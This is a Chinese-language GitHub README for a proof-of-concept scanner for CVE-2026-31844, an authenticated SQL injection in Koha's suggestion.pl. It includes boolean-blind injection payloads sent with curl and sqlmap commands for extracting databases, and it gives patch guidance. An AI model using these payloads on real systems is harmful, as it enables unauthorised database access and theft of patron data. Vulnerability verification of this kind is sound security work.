Mothra-1/CVE-2026-31844

GitHub: Mothra-1/CVE-2026-31844

针对 Koha 图书馆管理系统 CVE-2026-31844 认证 SQL 注入漏洞的 POC 扫描器,使用布尔盲注技术验证漏洞存在性。

Stars: 1 | Forks: 1

# Koha CVE-2026-31844:认证 SQL 注入

Release Python 3.6+ CVE ID License

## 概述 本仓库包含针对 **CVE-2026-31844** 的负责任漏洞 POC,这是 Koha 图书馆管理系统中一个高危的认证 SQL 注入漏洞。 该漏洞存在于 `C4/Search.pm` 的 `GetDistinctValues` 函数中,该函数由 `/cgi-bin/koha/suggestion/suggestion.pl` 脚本调用。可以通过 `displayby` 参数利用该漏洞。 - **Koha Bug:** [#41593](https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=41593) - **修复版本:** 26.05.00, 25.11.01, 25.05.07, 24.11.12 ## 漏洞详情 `suggestion.pl` 脚本中的 `displayby` 参数用于构造一个带表限定符的列名,随后传递给 `GetDistinctValues` 函数。然而,该函数`直接`将表名和列名嵌入到原始 SQL 查询中,未执行任何输入验证或参数化处理。 因此,攻击者可以篡改 displayby 参数,向查询中注入恶意 SQL 代码。由于输入在包含到 SQL 语句之前未经清理,这种行为引入了 SQL 注入漏洞,可能允许攻击者在数据库上执行任意的 **布尔盲注 (Boolean-Based Blind)** 技术 SQL 命令。 ``` # suggestion.pl my $displayby = $input->param('displayby') || ''; my $criteria_list = GetDistinctValues( "suggestions." . $displayby ); ``` ## 您可以在那里扫描您的目标 扫描器使用 **布尔盲注 (Boolean-Based Blind)** 技术来验证漏洞。 通过向列名位置注入条件语句,我们可以观察到 HTTP 响应的差异: - `IF(1=1, (SELECT 1 UNION SELECT 2), 1)` → 子查询错误 → **HTTP 500** - `IF(1=2, (SELECT 1 UNION SELECT 2), 1)` → 有效查询 → **HTTP 200** 如果目标对真条件返回 **500**,对假条件返回 **200**,则确认存在漏洞。 ## 安装与使用 ### 1. 克隆仓库 ``` git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git cd CVE-2026-31844-Koha-Scanner ``` ### 2. 安装依赖 ``` pip3 install requests ``` ### 3. 运行扫描器 您必须提供具有 `suggestions` 权限的有效 Koha staff 账户凭据。 ``` python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password ``` 对于使用自签名 SSL 证书的目标: ``` python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl ``` ### 4. 输出示例 ``` ╔═══════════════════════════════════════════════════════════════╗ ║ CVE-2026-31844 — Koha Vulnerability Scanner ║ ║ Authenticated SQLi in suggestion.pl (displayby) ║ ║ (Responsible Check Only) ║ ╚═══════════════════════════════════════════════════════════════╝ [*] Target: http://koha.local:8081 [*] Authenticating to staff interface as 'koha_admin'... [+] Authentication successful! ============================================================ VULNERABILITY SCAN ============================================================ [*] Testing vulnerability using safe Boolean-blind evaluation... [1] Testing baseline request (STATUS)... HTTP 200 (OK) [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error) [3] Testing FALSE condition evaluation... HTTP 200 (OK) ============================================================ [ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 [! ] The target evaluated the SQL conditions and returned differential HTTP codes. [! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00. ``` ### 手动验证概念 (PoC) 您可以通过 `curl` 手动验证该漏洞。首先,登录 Koha staff 界面并获取您的 `CGISESSID` cookie。 **真条件 (返回 HTTP 500):** ``` curl -i -k \ -H "Cookie: CGISESSID=your_session_id_here" \ "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)" ``` **假条件 (返回 HTTP 200):** ``` curl -i -k \ -H "Cookie: CGISESSID=your_session_id_here" \ "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)" ``` ### 5. 通过 SQLMap 利用 SQLMap 原生支持布尔盲注。要自动化提取数据,请将有效的认证 HTTP 请求保存到 `request.txt`。确保 `csrf_token` 和 `CGISESSID` cookies 保持有效。 示例 `request.txt`: ``` GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1 Host: koha.example.com Cookie: CGISESSID=your_session_id_here User-Agent: Mozilla/5.0 ``` 使用布尔技术 (`--technique=B`) 运行 SQLMap: ``` # 基本 database 提取 sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs # 提取当前用户 sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user ``` 或者直接从命令行运行: ``` sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \ --cookie="CGISESSID=your_session_id_here" \ -p displayby \ --dbms=mysql \ --technique=B \ --current-db ``` 一段时间后,sqlmap 将识别出正确的 payload。 ## 影响 如果不修补,此漏洞允许经过认证的攻击者: 1. 提取敏感信息(读者记录、密码哈希) 2. 枚举数据库 schema 3. 完全沦陷后端数据库 ## 缓解措施 更新至 Koha 版本 **24.11.12**、**25.05.07**、**25.11.01** 或 **26.05.00**(或更高版本),该版本包含针对此漏洞的修复。 ## 道德考量 此概念验证仅用于教育和防御目的。在对任何系统进行漏洞测试之前,请务必获得适当的授权。 ## 免责声明 作者不对任何滥用此信息的行为负责。此概念验证仅应在您拥有或获得明确许可进行测试的系统上使用。
标签:CISA项目, CVE, CVE-2026-31844, Koha, Perl, POC, Python, Web安全, 图书馆管理系统, 布尔盲注, 数字签名, 无后门, 蓝队分析, 认证后漏洞, 逆向工具